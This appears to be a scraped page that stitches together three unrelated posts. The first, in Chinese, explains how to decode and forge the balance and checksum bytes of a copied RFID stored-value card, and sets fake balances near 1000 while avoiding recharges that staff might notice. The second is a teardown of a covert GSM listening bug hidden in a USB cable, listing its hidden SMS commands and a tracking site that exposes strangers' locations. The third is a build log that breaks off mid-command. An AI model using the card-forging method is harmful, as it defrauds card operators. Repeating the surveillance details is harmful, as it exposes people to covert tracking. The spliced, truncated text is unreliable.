
暂无个人介绍
我得说,这篇文章不讲怎么从卡里读出数据,不讲怎么提取有效数据,因为大家动动脑子就知道可以用acr122u pm3 之类的搞定密钥,然后找变化位确定校验位,二分法快速确定有效位,等,搞不定密钥的话我也没办法。 首先先看一个基本事实,当线性数据与定值进行 按位与 按位或 按位异或 时,其产生的结果也会呈现一定的规律,如下。 也就是说,结果中,按位与的图像基本呈现为周期性图像,按位或和按位异或的图像是与原图像总体趋势相同。 其他的按位取反、一次函数、二次函数同理。 这样的一个情况可以被我们引申一下。 金额 => (周期)线性数据校验位 => (按位与|按位或|按位异或|函数)结果图像 (同样可以引申到具有一定变化规律的非定值) 找金额位 一般方法1 最普遍的没有技巧的方法,可能是通过多次刷卡,寻找改变的地方,然后转化为10进制看是否是金额。 其实这个方法可以简化,即方法2。 一般方法2 金额其实是非常好找的,因为金额位很多时候可能并不加密,最多是前后位调换一下。 比如我卡里有23.45元,那么转换成hex就是929,即0929,寻找一下0929或者2909,基本就可以找到了。 Excel 在拥有足够连续金额的样本的前提下,我们可以将确认有影响到金额的数据块导出为文本,再导入excel。然后对同一块区(block)数据进行排列,转化为十进制再处理。像这样。 我们清楚地知道,数字都是满进制然后向前进一,而本身清零,也就是说,在有可能进位的地方,图像是这样的,呈现周期性线性关系。 没有产生进位的话,应该是看不出周期性的,就像这样。 因此,在需要至少两个位才能表示金额的情况下(一般就是金额大于2.55的情况),我们可以寻找前后两个(多个)图像呈线性关系及周期性线性关系的地方,其中周期越小则金额位越低。 由此,在金额位不加密的情况下,我们可以快速定位金额位。如上图数据就是C列B列合起来为金额。 找校验位 在金额位改变时明显有变化的,测试一下就知道是不是校验位了。 计算校验位 计算校验位,我用excel。(这里的表格数据已与上方有所不同,仅供参考) 为了数据样本的纯净,我们可能需要较多的等金额差的样本,比如73 70.2 67.4这样,数据间隔相同。 根据上面的理论,在获取一定数量的数据样本之后,我们可以得到这样的表格。 从迷你折线图里可以非常清晰的看到,CDR三列有明显的变化。 根据上面的理论以及计算,可以知道CD列为金额位,则R列为校验位。 观察折线图,我们发现R列数据也是呈现周期性变化,甚至峰值与C列非常接近,考虑到数据间隔粒度影响(间隔2.8而不是0.01),可以猜测R列数据峰值与C列相同,甚至,事实上,我们可以直接猜测,最小值为0,最大值为255。那么,也就是说,可能存在一个周期函数f(x),使得f(C)=R,并且在周期内,函数是线性相关的。 如果的确在周期内是线性相关的,那么在同一个周期内,两个值的差值应该是一样的。 于是我们需要寻找同一个周期内活动的金额位和校验位,比如 测试发现差值略有偏差,而且不同差值间隔为1,因此考虑D列的影响,这三行数据的D列刚好间隔都为1。 那么函数就变成了f(C)±D=R,或者是f(C±D)=R。 接下来就是做数学题了。 从数据上来看,一个周期应该是256,也就是0-255/00-FF这256个数字构成一个周期,主要是因为一个字节只能放下这么多数字。 我们尝试去除周期影响,得到如下数据。 再计算CD列和R列的差值。 结果如A列所示。 到这里,基本已经接近尾声了,稍微处理一下就好了。 根据以上数据,推出公式:R=(C+D-135)%256 推出的计算结果与校验位完全一致。 进阶 现在我们可以更改卡内数据了。但是由于目前金额位只显示了两位,也就是FFFF,因此目前被限制在655.35元。 先让我们尝试一下改成655.35吧。 依然是万能的excel。 测试成功。 因为金额显示的是扣款后的金额,每次扣款2.8元,652.55+2.8=655.35。 接下来尝试突破位数限制,有两条路可走:1.去充值,2.猜。 在很多时候,充值并不是一个好的建议,容易引起工作人员怀疑,另一方面,我这张卡是复制来的,由于某种原因,充值不了。 所以就猜吧。 突破位数限制 由于新增了一位,因此我们需要重新考量相关的计算。 可以利用已有数据进行合理猜测,比如金额为73时,前三位为841C00。 让新的公式可以符合已有数据即可。 金额 之前在考虑逆序规则,其实仔细想想,规则肯定是左到右,低位到高位。 即01869F=>9F8601 校验位 校验位原公式为R=(C+D-135)%256,那么需要加入E位,并确保E位为0的时候,f(C,D,E)=f(C,D)。 因此,E的加入不能带入新的常数,最多只能带入系数,也就是说常数还是-135,而E的系数可以不为1。 简单猜测一下,公式R=(C+D+E-135)%256。 计算结果:9F86010000001106020C36150900009F 测试一下。 完成。 测试一下最大值是不是999.99 最大值是1000,再高就无法读取了。 实验数据:RFID数据分析.zip
The following analysis was performed on a S8 data line locator which replied to the hidden SMS command for version query (*3646655*) with: Ver=MTK6261M.T16.17.01.10 build=2017/01/10 17:33 Introduction A while back Joe Fitz tweeted about the S8 data line locator1. He referred to it as “Trickle down espionage” due to its reminiscence of NSA spying equipment. The S8 data line locator is a GSM listening and location device hidden inside the plug of a standard USB data/charging cable. It supports the 850, 900, 1800 and 1900 MHz GSM frequencies. Its core idea is very similar to the COTTONMOUTH product line by the NSA/CSS [1] in which an RF device is hidden inside a USB plug. Those hidden devices are referred to as implants. The device itself is marketed as a location tracker usable in cars, where a thief would not be able to identify the USB cable as a location tracking device. Its malicious use-cases can, however, not be denied. Especially since it features no GPS making its location reporting very coarse (1.57 km deviation in my tests). It can, e.g., be called to listen to a live audio feed from a small microphone within the device, as well as programmed to call back if the sound level surpasses a 45 dB threshold. The fact that the device can be repackaged in its sliding case, after configuring it, i.e. inserting a SIM, without any noticeable marks to the packaging suggests its use-case: covert espionage. S8 data line locator capabilities The S8 data line locator has several eavesdropping, espionage and spying capabilities. A SMS message log could look like this: Listen in Calling the S8 data line locator for 10 seconds establishes a call and allows you to listen to the microphone feed from the device. Call back Sending 1111 via SMS to the device enables voice activated call back. It is acknowledged via the following SMS reply: DT: Set voice monitoring, voice callback and sound sensitivity:400 Once the audio level goes above 40 dB the device calls back the number that send the 1111 command. Sending 0000 disables the audio triggered call back. It is replied by: DT: Voice monitoring cancelled successfully. Query location Accoding to the manual sending ‘dw’ via SMS to the device yields a reply SMS with the location. This reply is in the form: Loc:Street, ZIP City, Country http://gpsui.net/u/xxxx Battery: 100% The ‘xxxx’ are replaced with characters ‘0-9,A-Z,a-z’ and the Street, ZIP City, Country line with the appropriate street, ZIP, city and country. The link to http://gpsui.net can be accessed without authorization. It forwards to Google maps. The location was never more accurate than 1.57 km off. During the query the device will use a mobile data connection to an unknown endpoint (presumably gpsui.net). This is confirmed by a “MMS/Internet” charge by my provider. My provider does not discern MMS and Internet, but it is save to assume there is an Internet connection established during location query. This issue was the stepping stone for this analysis. Because the device sends unknown data to an unknown third party it can not - at least with a clear conscious - be used in, e.g., a penetration test. You simply can not use a potentially pre-owned tool. I therefore tried to analyze and eliminate this phone-home “feature”. Hardware To gain access to the devices innards we first tear of the metal shield of the USB connector: S8 data line locator removing USB connector shield. Next, we remove the plastic cover: S8 data line locator removing USB connector shield. Chips After opening the device we can identify the chips: It features: MediaTek MT6261MA: Low budget chip often used in cheap Chinese smartwatches. No official documentation nor information about the chip is available from MediaTek. RDA 6626e: “a high-power, high-efficiency quad-band front-end Module […] designed for GSM850, EGSM900, DCS1800, PCS1900 handheld digital cellular equipment.” Connections So far I could identify 3 different avenues to connect to the device: USB (passthrough) The USB A-connector and the Micro-B cable are not connected to the MT6261MA. They merely pass the signal from one to the other: UART The next connection is a UART: Interfacing with it yields, approximately 3 seconds after booting the device: screen /dev/ttyUSB0 115200 # 8N1 F1: 0000 0000 V0: 0000 0000 [0001] 00: 1029 0001 01: 0000 0000 U0: 0000 0001 [0000] G0: 0002 0000 [0000] T0: 0000 0C73 Jump to BL ~~~ Welcome to MTK Bootloader V005 (since 2005) ~~~ **===================================================** Bye bye bootloader, jump to=0x1000a5b0 However, the output stops there. Input to the device is ignored. It is likely there exist a different firmware version that accepts AT modem commands2. The boot banner of that alternate firmware references “ZhiPu”3 (some file names of the FAT12 in the firmware flash of my device contain this string as well, so the device firmware is likely related to that other firmware). USB (MTK) The DP and DM pads on the USB connector are not connected to the D+ and D- lines of the USB connector. However, the V and GND pads are. The DP and DM pads are instead routed to the MT6261MA processor as illustrated here: Next, a USB cable must be soldered to these connectors as follows: The device will then be recognized as an MediaTek phone USB endpoint with the following data: ID 0e8d:0003 MediaTek Inc. MT6227 phone This is often called the “MTK boot repair”, “MTK DM DP flash”, etc. It will allow us to interface with the device and dump the firmware ROM and flash. Dumping firmware To dump the firmware I use the open source Fernvale research OS [2]. It was initially targeted for the MT6260 processor. It has, however, been ported to the MT6261 and also works on the MT6261MA. Obtaining and building fernly’s MT6261 branch A suitable fork of fernly by Urja “urjaman” Rannikko can be obtained and build as follows: git clone https://github.com/urjaman/fernly git clone https://github.com/robertfoss/setup_codesourcery.git sudo setup_codesourcery/setup.sh /usr/local/bin/codesourcery-arm-2014.05.sh cd fernly git checkout fernly6261 make CROSS_COMPILE=arm-none-eabi- exit cp 95-fernvale-simple.rules /etc/udev/rules.d/. Dumping ROM To dump the flash we run: echo "data = [" > rom.py fernly/build/fernly-usb-loader /dev/fernvale fernly/build/dump-rom-usb.bin >> rom.py echo " ] f = open('rom.bin','wb') for s in data: f.write(chr(int(s,16))) f.close() " >> rom.py python rom.py The file rom.bin will now (at least according to the fernly repository documentation) contain the devices ROM. Dumping flash To dump the flash of the device we need to patch flashrom as follows: git clone https://github.com/flashrom/flashrom cd flashrom/ git checkout c8305e1dee66cd69bd8fca38bff2c8bf32924306 patch -p0 < ../fernly/flashrom-fernvale.patch # manually fix Makefile.rej to complete patching The patch does not cleanly apply so you need to fix the rejected Makefile (Makefile.rej) manually yourself. Once this was done we can first load the fernly firmware into the devices RAM via: fernly/build/fernly-usb-loader -w /dev/fernvale fernly/build/stage1.bin fernly/build/firmware.bin Next, we can use the fernvale_spi programmer we patched into flashrom. We first let it recognize the flash via: flashrom/flashrom --programmer fernvale_spi:dev=/dev/fernvale And then read the flash via: flashrom/flashrom --programmer fernvale_spi:dev=/dev/fernvale -c "MX25L3205(A)" --read flash.dat flash.dat will now contain the devices flash memory. Writing flash attempt Writing the flash can be performed via: flashrom/flashrom --programmer fernvale_spi:dev=/dev/fernvale -c "MX25L3205(A)" --write flash.dat However, the flash seems to be block protected and the block protect bits can not be disabled by flashrom. I have not (yet) found a way to disable the block protect. Analysis Mostly for my personal education I did some more analysis then the obligatory firmware dump. SIM sniffing (via SIMtrace) First, I sniffed the communication between the device and the SIM. Interestingly, it accessed all records of the telephone book and SMS storage. More specifically it accesses the following files, which are not needed to provide the services rendered by the device itself: ADF EF(ECC) EF(EXT2) EF(SMS) DF(TELECOM) DF(PHONEBOOK) EF(ADN) EF(ANRA1) EF(SMS) Other SIM accesses seems to be normal. This is probably not an elaborate scheme to harvest phone numbers and send them to China, but rather the way the default manufactured SIM code was implemented and it was never trimmed down to the needs of this device. Nevertheless, I found it interesting seeing how the device is accessing virtually everything on the SIM. GPRS sniffing attempt (via OpenBTS) Next, I tried to sniff the Internet traffic to figure out what is send to whom via the mobile data connection. To this end, I used a Ettus B100 with OpenBTS. Unfortunately, the S8 data line locator did not connect to the GPRS. This caused the following alternative response to the dw location command: Loc:Please link:http://gpsui.net/smap.php?lac=1000&cellid=10&c=901&n=70&v=7100 Battery:67% Flash contents The most interesting things could be found in the dumped flash. OS Strings in the flash.dat suggest the device is probably running Nucleus RTOS: $ strings -a flash.dat Copyright (c) 1993-2000 ATI - Nucleus PLUS - Version ARM 7/9 1.11.19 Other strings that may help identify the OS are: $ strings -a flash.dat | grep "\.c" psss\components\src\bl_Secure_v5.c psss\components\src\SSS_secure_shared_v5.c hal\system\bootloader\src\bl_Main.c hal\system\bootloader\src\bl_Main.c hal\system\bootloader\src\bl_FTL.c hal\system\bootloader\src\bl_FTL.c hal\system\bootloader\src\bl_FTL.c hal\storage\flash\mtd\src\flash_disk.c hal\system\bootloader\src\bl_Main.c hal\peripheral\src\dcl_pmu6261.c hal\system\cache\src\cache.c hal\peripheral\src\dcl_rtc.c hal\peripheral\src\dcl_pmu6261.c hal\system\bootloader\src\bl_FTL.c hal\system\bootloader\src\bl_FTL.c hal\peripheral\src\rtc.c hal\peripheral\src\rtc.c hal\peripheral\src\rtc.c hal\peripheral\src\rtc.c hal\peripheral\src\rtc.c hal\peripheral\src\rtc.c hal\storage\flash\mtd\src\flash_mtd_sf_dal.c hal\peripheral\src\dcl_pmu_common.c hal\peripheral\src\dcl_f32k_clk.c hal\peripheral\src\dcl_f32k_clk.c hal\peripheral\src\dcl_gpio.c hal\peripheral\src\dcl_pmu_common.c hal\system\cache\src\cache.c hal\peripheral\src\dcl_f32k_clk.c hal\peripheral\src\dcl_gpio.c hal\peripheral\src\gpio.c hal\system\bootloader\src\bl_FTL.c hal\peripheral\src\rtc.c hal\peripheral\src\bmt_hw.c hal\peripheral\src\dcl_pmu6261.c hal\storage\flash\mtd\src\flash_mtd.c hal\peripheral\src\gpio.c custom\common\hal\combo_flash_nor.c hal\peripheral\src\dcl_rtc.c hal\peripheral\src\dcl_rtc.c hal\storage\flash\mtd\src\flash_disk.c custom\common\hal\combo_flash_nor.c hal\storage\flash\mtd\src\flash_mtd_sf_dal.c hal\system\emi\src\emi.c sss\components\src\SSS_secure_shared_common.c alice.c ddload.c plutommi\Framework\GDI\gdisrc\gdi.c C.cKi hal\audio\src\v1\audio_service.c ddload.c ddload.c plutommi\Framework\GDI\gdisrc\gdi_image_hwjpg_v2.c plutommi\Framework\GDI\gdisrc\gdi_image_hwjpg_v2.c plutommi\Framework\GDI\gdisrc\gdi_util.c plutommi\Framework\GDI\gdisrc\gdi_util.c hal\audio\src\v1\audio_service.c ddload.c FAT12 filesystems (?) Searching the flash.dat for the FAT12 file systems that are supposedly present in on MediaTek phones, we get: $ hexdump -C flash.dat 002c1e20 00 00 00 00 00 00 00 00 00 ef cd 4e 4f 20 4e 41 |...........NO NA| 002c1e30 4d 45 20 20 20 20 46 41 54 31 32 20 20 20 00 00 |ME FAT12 ..| 002c1e40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 002c1e50 00 00 00 00 00 00 00 00 00 00 4d 4d 4d 4d 4d 4d |..........MMMMMM| 002c1e60 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d |MMMMMMMMMMMMMMMM| * 002c1ff0 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 55 aa |MMMMMMMMMMMMMMU.| [...] 002d8400 eb 58 90 46 69 6c 65 53 79 73 20 00 02 01 01 00 |.X.FileSys .....| 002d8410 01 80 00 9b 01 f8 02 00 01 00 01 00 01 00 00 00 |................| 002d8420 9b 01 00 00 80 00 29 00 00 21 30 4e 4f 20 4e 41 |......)..!0NO NA| 002d8430 4d 45 20 20 20 20 46 41 54 31 32 20 20 20 00 00 |ME FAT12 ..| 002d8440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 002d8450 00 00 00 00 00 00 00 00 00 00 4d 4d 4d 4d 4d 4d |..........MMMMMM| 002d8460 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d |MMMMMMMMMMMMMMMM| * 002d85f0 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 55 aa |MMMMMMMMMMMMMMU.| [...] 002dbc00 ff ff ff ff ff de 9e 68 00 00 00 00 00 50 ba ff |.......h.....P..| 002dbc10 55 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |U...............| 002dbc20 00 00 00 00 00 00 00 00 00 ef cd 4e 4f 20 4e 41 |...........NO NA| 002dbc30 4d 45 20 20 20 20 46 41 54 31 32 20 20 20 00 00 |ME FAT12 ..| 002dbc40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 002dbc50 00 00 00 00 00 00 00 00 00 00 4d 4d 4d 4d 4d 4d |..........MMMMMM| 002dbc60 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d |MMMMMMMMMMMMMMMM| * 002dbdf0 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 55 aa |MMMMMMMMMMMMMMU.| However, two of the partitions do not appear to be valid FAT12 file systems: $ fls -o 5646 flash.dat -f fat12 Invalid magic value (Not a FATFS file system (magic)) $ fls -o 5826 flash.dat -f fat12 v/v 6531: $MBR v/v 6532: $FAT1 v/v 6533: $FAT2 d/d 6534: $OrphanFiles $ fls -o 5853 flash.dat -f fat12 Invalid magic value (Not a FATFS file system (magic)) And the middle FAT12 block seems to be corrupted as well, i.e. only orphan files: $ fls -o 5826 flash.dat -rp -f fat12 v/v 6531: $MBR v/v 6532: $FAT1 v/v 6533: $FAT2 d/d 6534: $OrphanFiles -/r * 469: $OrphanFiles/MP0B_001 -/r * 470: $OrphanFiles/ST33A004 -/r * 471: $OrphanFiles/ST33B004 [...] An attempt was made to extract the files: fls -o 5826 flash.dat -Frp -f fat12 | while read line; do path=$(echo "$line" | awk -F':' '{print $2}') mkdir -p $(dirname $path); icat -o 5826 flash.dat $(echo "$line" | grep -oE "[0-9]+" | head -n1) > $path done But most files are empty. The results are also very inconsistent, i.e., when changing SIM cards there are significant changes to the files listed by The Sleuthkit. This indicates that those are either not FAT12 partitions or a modified FAT12 variant. Further analysis was hence done using hexdump. Configuration data The flash also contained some configuration data. First, the IMSI of the inserted SIM and the number that is used to remote control the device could be found in the flash: $ hexdump -C flash.dat 002e2ad0 00 00 00 00 32 xx xx xx xx xx xx xx xx xx xx xx |....2xxxxxxxxxxx| 002e2ae0 xx xx 37 00 00 01 00 01 00 00 00 00 00 00 00 00 |xx7.............| 002e2af0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 002e2b10 00 00 00 00 00 00 00 00 00 00 00 2b 34 39 31 xx |...........+491x| 002e2b20 xx xx xx xx xx xx xx xx 00 00 00 00 00 00 00 00 |xxxxxxxx........| 002e2b30 00 00 00 00 00 00 00 00 00 00 00 00 00 67 70 73 |.............gps| 002e2b40 75 69 2e 6e 65 74 00 00 00 00 00 00 00 00 00 00 |ui.net..........| 002e2b50 00 00 00 00 00 00 00 00 00 00 00 00 00 67 70 73 |.............gps| 002e2b60 75 69 2e 6e 65 74 00 00 00 00 00 00 00 00 00 00 |ui.net..........| 002e2b70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * In the above flash segment you can also see a reference to gpsui.net. This is presumably the remote server which is contacted to turn the MCC, MNC, LAI and CID codes into street, city and country information as well as the link to gpsui.net which forwards to Google maps. However, because writing to the flash could not be achieved this hypothesis could not be confirmed. Hidden commands Eventually, there was a small find potentially making this effort worthwhile. Searching the flash.dat for the dw,1111 and 0000 commands reveals more hidden commands: $ hexdump -C flash.dat 00069530 8c ae 00 00 8d ae 8e ae 72 65 73 74 6f 72 65 00 |........restore.| 00069540 00 00 00 00 00 00 00 00 01 00 00 00 68 68 68 00 |............hhh.| 00069550 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 |................| 00069560 69 6d 73 69 00 00 00 00 00 00 00 00 00 00 00 00 |imsi............| 00069570 03 00 00 00 74 69 6d 65 7a 6f 6e 65 00 00 00 00 |....timezone....| 00069580 00 00 00 00 04 00 00 00 74 69 6d 65 00 00 00 00 |........time....| 00069590 00 00 00 00 00 00 00 00 05 00 00 00 61 71 65 00 |............aqe.| 000695a0 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 |................| 000695b0 61 71 63 00 00 00 00 00 00 00 00 00 00 00 00 00 |aqc.............| 000695c0 07 00 00 00 73 65 72 76 65 72 00 00 00 00 00 00 |....server......| 000695d0 00 00 00 00 08 00 00 00 64 64 64 00 00 00 00 00 |........ddd.....| 000695e0 00 00 00 00 00 00 00 00 09 00 00 00 72 65 67 00 |............reg.| 000695f0 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 |................| 00069600 61 71 62 00 00 00 00 00 00 00 00 00 00 00 00 00 |aqb.............| 00069610 0b 00 00 00 71 71 71 00 00 00 00 00 00 00 00 00 |....qqq.........| 00069620 00 00 00 00 0c 00 00 00 64 77 00 00 00 00 00 00 |........dw......| 00069630 00 00 00 00 00 00 00 00 0d 00 00 00 6c 6f 63 00 |............loc.| 00069640 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 |................| 00069650 66 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 |faa.............| 00069660 0f 00 00 00 66 66 66 00 00 00 00 00 00 00 00 00 |....fff.........| 00069670 00 00 00 00 10 00 00 00 31 31 31 31 00 00 00 00 |........1111....| 00069680 00 00 00 00 00 00 00 00 11 00 00 00 30 30 30 30 |............0000| 00069690 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 |................| 000696a0 72 70 74 00 00 00 00 00 00 00 00 00 00 00 00 00 |rpt.............| 000696b0 13 00 00 00 67 62 72 70 74 00 00 00 00 00 00 00 |....gbrpt.......| 000696c0 00 00 00 00 14 00 00 00 74 72 61 63 6b 00 00 00 |........track...| 000696d0 00 00 00 00 00 00 00 00 15 00 00 00 6d 6f 6e 69 |............moni| 000696e0 74 6f 72 00 00 00 00 00 00 00 00 00 16 00 00 00 |tor.............| 000696f0 73 6f 73 6f 6e 00 00 00 00 00 00 00 00 00 00 00 |soson...........| 00069700 17 00 00 00 73 6f 73 6f 66 66 00 00 00 00 00 00 |....sosoff......| 00069710 00 00 00 00 18 00 00 00 73 6f 73 00 00 00 00 00 |........sos.....| 00069720 00 00 00 00 00 00 00 00 19 00 00 00 71 63 73 6f |............qcso| 00069730 73 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 |s...............| 00069740 6c 65 64 6f 6e 00 00 00 00 00 00 00 00 00 00 00 |ledon...........| 00069750 1b 00 00 00 6c 65 64 6f 66 66 00 00 00 00 00 00 |....ledoff......| 00069760 00 00 00 00 1c 00 00 00 66 6c 69 67 68 74 6f 6e |........flighton| 00069770 00 00 00 00 00 00 00 00 1d 00 00 00 66 6c 69 67 |............flig| 00069780 68 74 6f 66 66 00 00 00 00 00 00 00 1e 00 00 00 |htoff...........| 00069790 65 73 69 6f 6e 6f 77 00 00 00 00 00 00 00 00 00 |esionow.........| 000697a0 1f 00 00 00 65 73 69 6f 61 64 64 72 00 00 00 00 |....esioaddr....| 000697b0 00 00 00 00 20 00 00 00 68 62 74 6f 6e 00 00 00 |.... ...hbton...| 000697c0 00 00 00 00 00 00 00 00 21 00 00 00 68 62 74 6f |........!...hbto| 000697d0 66 66 00 00 00 00 00 00 00 00 00 00 22 00 00 00 |ff.........."...| 000697e0 65 73 69 6f 6c 6f 63 61 74 65 74 79 70 65 00 00 |esiolocatetype..| 000697f0 23 00 00 00 65 65 65 00 00 00 00 00 00 00 00 00 |#...eee.........| 00069800 00 00 00 00 24 00 00 00 73 6e 64 73 74 6f 70 00 |....$...sndstop.| 00069810 00 00 00 00 00 00 00 00 25 00 00 00 64 64 65 00 |........%...dde.| 00069820 00 00 00 00 00 00 00 00 00 00 00 00 26 00 00 00 |............&...| 00069830 66 6f 72 6d 61 74 74 66 00 00 00 00 00 00 00 00 |formattf........| 00069840 27 00 00 00 68 65 6c 70 00 00 00 00 00 00 00 00 |'...help........| 00069850 00 00 00 00 28 00 00 00 2a 65 38 31 2a 00 00 00 |....(...*e81*...| 00069860 00 00 00 00 00 00 00 00 29 00 00 00 2a 65 38 30 |........)...*e80| 00069870 2a 00 00 00 00 00 00 00 00 00 00 00 2a 00 00 00 |*...........*...| 00069880 2a 72 65 62 6f 6f 74 2a 00 00 00 00 00 00 00 00 |*reboot*........| 00069890 2b 00 00 00 2a 33 36 34 36 36 35 35 2a 00 00 00 |+...*3646655*...| 000698a0 00 00 00 00 2c 00 00 00 69 6d 65 69 73 65 74 00 |....,...imeiset.| However, most of those commands do not function correctly. It seems the devices firmware is shared among several such location tracking and listening devices, e.g., there are commands referring to LEDs and a TF card, both of which this device do no feature, however, other devices available online do. An incomplete list of the found commands and there replies is: help: replies with the following commands: dw: Locate qqq: Device binding 1111: Sound Alarm Monitor on 0000: Sound Alarm Monitor off ddd: Reset all tasks aqb: Get Username Password eee: Recording saved dde: Cleanup TF card hhh: Device status loc: same as dw imsi: Query IMEI and IMSI faa: “DTMG: Set voice monitoring, SMS reply and sound sensitivity successfully:40”, “DTMG: Unusual sound detected” fff: “DT: Set voice monitoring, voice callback and sound sensitivity successfully:40” 1111: “DT: Set voice monitoring, voice callback and sound sensitivity successfully:400” 0000: “DT: Voice monitoring cancelled successfully.” gbrpt: “Report:Location the continuous escalation has been closed.” track: “Track:Caller answer mode the device is set to reply location.” hbton: “Hbt:Device is turned on real-time online” hbtoff: “Hbt: Device online has been closed” esionow: “…” ? esioaddr: “Setting esio addr and port fail!” esiolocatetype: “Esio:Reporting location type has been updated to 0.” server: “Setting server addr and port fail!” reg: “…” ? monitor: “Monitor:Caller answer mode the device is set to automatically answer.” eee: “Tf-Card check fails of is insufficient free space!” sndstop: “Cam:No task is running, cancel failed!” *e81*: “…” ? *e80*: “…” ? soson, sosoff, sos, qcsos: ? ledon, ledoff: ? flighton, flightoff: ? aqe: “Setting apn fail!” imeiset: “…” does not seem to set the IMEI restore: “Restore ok!” formattf: ? time: “…” ? timezone: “Setting time zone ok. Current time zone 0” age: “…” ? *3646655*: queries for version information *reboot*: reboots the device Interestingly the reply strings could not be found in the flash in plaintext. This suggests that some of the data is compressed. The message log of me trying some of the found hidden commands to populate the above list is as follows: It seems that we can use esioaddr to change the address used to lock up the location information. However, no connection to a given domain nor IP is actually made. The device will simply report the addr invalid in the location report. The server command sets a different server. Changing it does not result in the addr invalid responses, as can be seen from this second message log: Provider call logs and itemized bill Because the GPRS sniffing failed I resort to the billing of my provider to further analyze the communication habits of the S8 data line locator. Obviously reply SMS are billed. More interesting is the Internet access patterns. dw or loc commands and during idle During location queries the device will use “MMS/Internet” service. The following is a segment in which first repeated location queries were performed, then the devices was left idle: Even during idle the device sometimes uses the “MMS/Internet” service. Even though I deactivated all tracking features that I may have activated during my previous testing, I can not be 100 % sure that this is not something that I activated, maybe while stumbling through the gpsui.net website. However, I regardless of whether I activated this “feature” or not, I do not want it and would like to know what data is actually send and how to deactivate it. gpsui.net Going deeper into the gpsui.net website would probably result in a new writeup in itself. It is a very big surveillance hub, just replace the xxxx in http://gpsui.net/u/xxxx with some letters and numbers and you can see random people’s locations. The website also makes a reference to ZhiPu: It seems this is the company that makes these trackers. You can get your credentials for login by texting aqb to your S8 data line monitor. The username as well as the password are 6 digit numbers. They are also located in the flash right before the IMSI. Detection When sending data the S8 data line locator can be detected with a CC308+ (a cheap Chinese RF detector): The S8 data line locator seems to be badly shielded. A location request via the dw command causes noticeable electronic noise by the device. It seems in general to cause all sorts of RF interference. Future work While I did not (yet) succeed with my original goal to disable the mobile data phone home “feature’, it was nevertheless a fun exercise and hopefully someone finds this useful or at least educational. Future work needs to be done on several things: Issues I was not able yet to write new firmware via flashrom because I was not able to disable block protection on the flash, yet. Maybe a different avenue for flashing new firmware could be the SPFlash tool4 and/or the Flash tool. However, that would not be open source. If know something about the weird FAT12 file system used in the device or are able to flash your S8 data line locator please contact me with details! Further, I tried to capture the GPRS data connection of the device, but was unable to do so. It would not use GPRS when connected to my network. Currently, I do not know how the APN is configured. The SIM trace does not indicate that the EF(ACL) is ever accessed. However, as I found the correct APN configuration stored in the devices flash, this suggests the device acquires this information via a setup SMS by the service provider. Ideas Dremel the board smaller, e.g., you don’t need the USB connector. This way the S8 data line locator could be turned into a “modular” bug that could be placed where ever there is a 5 V 1 A power source. Appendix: Fuck up No writeup would be complete without at least one fuck up. So here it is: While using the S8 data line locator with OpenBTS I provisioned imaginary numbers. When switching SIM cards I forgot to turn of the voice activated callback. So long story short, some guy with the number 3333333 listend in on me for 2 minutes: I did not notice this until I reviewed the logs! So my resume on these little hardware espionage implants: They are stealthy and dangerous as fuck! Bibliography [1] NSA/CSS, “ANT product catalog (USB),” leaked documents (pdf: https://cryptome.org/2013/12/nsa-ant-usb.pdf). [2] A. “bunnie” Huang and S. X. Cross, “Fernvale: An open hardware and software platform, based on the (nominally) closed-source mT6260 soC,” talk at the 31st Chaos Communication Congress (slides: http://www.bunniefoo.com/fernvale/fernvale-31c3.pdf, video: https://www.youtube.com/watch?v=hpEqDPYtf9s). 原文链接:https://ha.cking.ch/s8_data_line_locator/
LeanSDR:Lightweight, portable software-defined radio git clone http://github.com/pabr/leansdr.git cd leansdr/src/apps LeanSDR在使用过程中需要使用X11图形框架,首次在OSX编译LeanSDR会有报错: g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leandvb.cc -lX11 -o leandvb || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leandvb.cc -o leandvb In file included from leandvb.cc:17: ../leansdr/gui.h:16:10: fatal error: 'X11/X.h' file not found #include <X11/X.h> ^ 1 error generated. g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leansdrscan.cc -lX11 -o leansdrscan || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leansdrscan.cc -o leansdrscan leansdrscan.cc:115:10: warning: comparison of unsigned expression < 0 is always false [-Wtautological-compare] if ( nr < 0 ) fatal("read"); ~~ ^ ~ 1 warning generated. ld: library not found for -lX11 clang: error: linker command failed with exit code 1 (use -v to see invocation) leansdrscan.cc:115:10: warning: comparison of unsigned expression < 0 is always false [-Wtautological-compare] if ( nr < 0 ) fatal("read"); ~~ ^ ~ 1 warning generated. g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leansdrcat.cc -lX11 -o leansdrcat || \ g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable leansdrcat.cc -o leansdrcat ld: library not found for -lX11 clang: error: linker command failed with exit code 1 (use -v to see invocation) g++ -O3 -I.. -Wall -Wno-sign-compare -Wno-array-bounds -Wno-unused-variable -DGUI leantsgen.cc -lX11 -o 